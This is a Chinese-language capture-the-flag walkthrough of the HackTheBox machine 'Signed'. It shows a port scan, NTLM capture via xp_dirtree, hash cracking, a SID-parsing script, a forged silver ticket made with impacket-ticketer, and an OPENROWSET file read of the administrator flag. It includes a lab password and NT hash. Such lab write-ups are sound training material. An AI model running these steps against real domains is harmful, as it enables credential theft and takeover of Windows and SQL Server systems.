1 端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00;
                      RTM
| ms-sql-info:
| 10.10.11.90:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-10-17T01:28:14+00:00; -27m08s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-16T19:36:00
| Not valid after: 2055-10-16T19:36:00
| MD5: bcf0:65fd:2aad:b5ad:8540:73c6:7b3b:4a5e
|_SHA-1: e98b:528d:f20f:376b:b685:b52a:ba94:3360:9440:e816
| ms-sql-ntlm-info:
| 10.10.11.90:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763

Host script results:
|_clock-skew: mean: -27m08s, deviation: 0s, median: -27m08s

2 Mssql利用

题目给了一个凭据,我们可以拿来直接登录

拿到mssql第一时间想到的就是利用xp_cmdshell来拿shell,但是该用户的权限不足,无法成功。

2.1 NTML中继攻击

然后我们还可以尝试xp_dirtree来实现NTML 中继攻击:

xp_dirtree 是 SQL Server 中的一个系统存储过程,主要用于返回指定文件路径下的所有文件和子目录信息。

这里如果我们指定路径是我们kali,触发smb认证,我们就可以尝试用responder来截获Net-NTML。
如果未开启smb签名,且未绑定通道,我们就能利用这个凭证了

2.2 爆破hash

有了该用户的账号密码,我们可以尝试利用该账户提升我们在mssql中的权限

2.3 生成白银票据

这个账户大概率是mssql服务的服务账户,我们现在拿到了它的密码,可以生成对应的hash,也就是白银票据

echo -n ‘purPLE9795!@’ | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4

2.4 生成管理员的st

先查看当前数据库实例中拥有 “系统管理员” 权限的所有账户。

1
EXEC sp_helpsrvrolemember 'sysadmin'

通过下面的解析脚本,获取管理员用户的SID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def sid_bytes_to_string(b: bytes) -> str:
if not b:
return None
rev = b[0]
sub_count = b[1]
ida = 0
for i in range(6):
ida = (ida << 8) | b[2 + i]
parts = ['S', str(rev), str(ida)]
for i in range(sub_count):
off = 8 + i*4
sub = b[off] | (b[off+1] << 8) | (b[off+2] << 16) | (b[off+3] << 24)
parts.append(str(sub))
return '-'.join(parts)

# 使用示例:如果有十六进制字符串(不带 0x),先转 bytes:
hexstr = "0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"
b = bytes.fromhex(hexstr)
print(sid_bytes_to_string(b))


获取SPN service,这里我们无法连上ldap,所以只能自己猜测几个可能的

1
2
3
mssql/dc01.signed.htb
mssqlsvc/dc01.signed.htb
sql/dc01.signed.htb

然后通过如下命令伪造一个属于1105组的用户的ST

1
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid
                      'S-1-5-21-4088429403-1159899800-2753317549' -domain signed.htb -spn
                      mssql/dc01.signed.htb -groups 1105 IT

成功后利用生成的票据直接登录mssql

1
2
3
export KRB5CCNAME=/home/kali/Desktop/HTB/Signed/IT.ccache
impacket-mssqlclient -debug DC01.signed.htb -k

2.5 getshell

现在我们有权限了,尝试反弹shell



成功读到,但是现在我们还没有权限读取管理员的flag

要访问管理员目录需要在制作银票时使用 -groups 指定一个管理员组的RID,如500、512、516、519都可以,然后记得还要加上IT组的RID 1105,因为如果不加1105的话,在
                SQL Server 里就不是 sysadmin,就无法执行 OPENROWSET(BULK) 等高权限操作。
              

2.6 权限提升

上面的shell无法读取管理员的flag,因为 xp_cmdshell 创建的进程是运行在不同的安全上下文中的,它实际上是SQL Server → 模拟用户 mssqlsvc → cmd.exe 执行命令,因为创建了新的进程,所以会使用新的令牌,也就无法使用我们模拟的包含域管的令牌了。 所以就无法读取到管理员目录。

我们这里尝试用OPENROWSET()函数读取管理员目录

 OPENROWSET(BULK)是 SQL Server 的内部函数,它直接使用当前会话的模拟令牌来执行文件操作。
                由于我们伪造的银票在 PAC 中注入了 Domain Admins (512) 组,SQL Server 为我们的连接创建的模拟令牌就包含了域管权限。
                当 OPENROWSET(BULK) 尝试访问文件时,Windows 检查令牌发现包含 Domain Admins 组,因此允许访问管理员目录。
              

不过在此之前,还有一个问题:
我们需要指定user-id 为mssqlsvc用户的rid ,不然会因为用户名不匹配SPN导致模拟失败,再后面利用伪造的票据使用OPENROWSET(BULK)读取文件时也会失败。

获取mssqlsvc用户的sid:

1
Powershell > Get-WmiObject win32_useraccount
那rid就是1103了。

现在重新伪造票据:

读取文件:

1
SELECT * FROM OPENROWSET(BULK
                      N'C:\Users\Administrator\desktop\root.txt', SINGLE_CLOB) AS Contents